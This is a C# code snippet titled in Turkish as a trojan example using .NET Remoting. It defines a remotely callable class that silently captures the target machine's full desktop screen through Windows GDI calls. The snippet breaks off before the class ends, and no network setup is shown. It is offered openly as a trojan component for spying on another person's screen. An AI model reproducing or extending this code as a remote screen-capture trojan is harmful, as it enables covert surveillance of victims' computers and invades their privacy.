Remoting ile Trojan Örneği

namespace Remote
{
public class ScreenCapture:MarshalByRefObject
{

public static Image CreateScreenshot()
{
IntPtr hWnd = GetDesktopWindow();

IntPtr hSorceDC = GetWindowDC(hWnd);
RECT rect = new RECT();
GetWindowRect(hWnd, ref rect);
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
IntPtr hDestDC = CreateCompatibleDC(hSorceDC);
IntPtr hBitmap = CreateCompatibleBitmap(hSorceDC, width, height);
IntPtr hObject = SelectObject(hDestDC, hBitmap);
BitBlt(hDestDC, 0, 0, width, height, hSorceDC, 0, 0, SRCCOPY);
SelectObject(hDestDC, hObject);
DeleteDC(hDestDC);
ReleaseDC(hWnd, hSorceDC);
Image screenshot = Image.FromHbitmap(hBitmap);
DeleteObject(hBitmap);
return screenshot;
}
private const int SRCCOPY = 0x00CC0020;

[DllImport("gdi32.dll")]
private static extern bool BitBlt(IntPtr hObject, int nXDest, int
nYDest, int nWidth, int nHeight, IntPtr hObjectSource, int nXSrc, int
nYSrc, int dwRop);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleBitmap(IntPtr hDC, int
nWidth, int nHeight);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleDC(IntPtr hDC);
[DllImport("gdi32.dll")]
private static extern bool DeleteDC(IntPtr hDC);
[DllImport("gdi32.dll")]
private static extern bool DeleteObject(IntPtr hObject);
[DllImport("gdi32.dll")]
private static extern IntPtr SelectObject(IntPtr hDC, IntPtr hObject);

[StructLayout(LayoutKind.Sequential)]
private struct RECT
{
public int left;
public int top;
public int right;
public int bottom;
}
[DllImport("user32.dll")]
public static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll")]
private static extern IntPtr GetWindowDC(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern IntPtr ReleaseDC(IntPtr hWnd, IntPtr hDC);
[DllImport("user32.dll")]
private static extern IntPtr GetWindowRect(IntPtr hWnd, ref RECT rect);